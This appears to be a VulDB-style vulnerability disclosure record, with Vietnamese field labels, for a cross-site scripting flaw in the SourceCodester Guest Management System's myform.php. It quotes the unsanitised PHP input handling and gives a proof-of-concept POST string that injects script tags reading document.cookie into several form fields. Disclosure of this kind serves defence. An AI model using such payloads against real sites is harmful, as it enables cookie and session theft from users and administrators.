| tiêu đề | Visitor management system CMS exist Cross-site scripting Vulnerability |
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| Mô tả | Visitor management system CMS exist Cross-site scripting Vulnerability .The input variables are not protected and output is directly output. Attackers can construct malicious code to steal user and administrator cookies.
Vulnerability file location:guestmanagement/myform.php
look at this source code
```
if(empty($_POST["name"]))
$name_error = "Enter the Name Properly !";
else
$name = $_POST["name"];
```
There is no protection for the name here. The `name` variable is directly output here. Here we can insert XSS statements to steal user cookies and other information. The construction statement is as follows
```
MeetingTo=<script>alert(document.cookie)&cno=1111111111&comment=<script>alert(document.cookie)&mydata=&name=<script>alert(document.cookie)</script>&purpose=<script>alert(document.cookie)&submit_post=Submit
```
https://s1.ax1x.com/2022/08/13/vtDEFO.png
Source link
https://www.sourcecodester.com/php/14664/guest-management-system-php-full-source-code.html |
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| Nguồn | ⚠️ https://www.sourcecodester.com/php/14664/guest-management-system-php-full-source-code.html |
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| Người dùng | qidian (UID 30810) |
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| Đệ trình | 13/08/2022 09:33 (cách đây 4 những năm) |
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| Kiểm duyệt | 14/08/2022 08:27 (23 hours later) |
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| Trạng thái | được chấp nhận |
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| Mục VulDB | 206397 [SourceCodester Guest Management System myform.php Tên Tập lệnh chéo trang] |
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| điểm | 20 |
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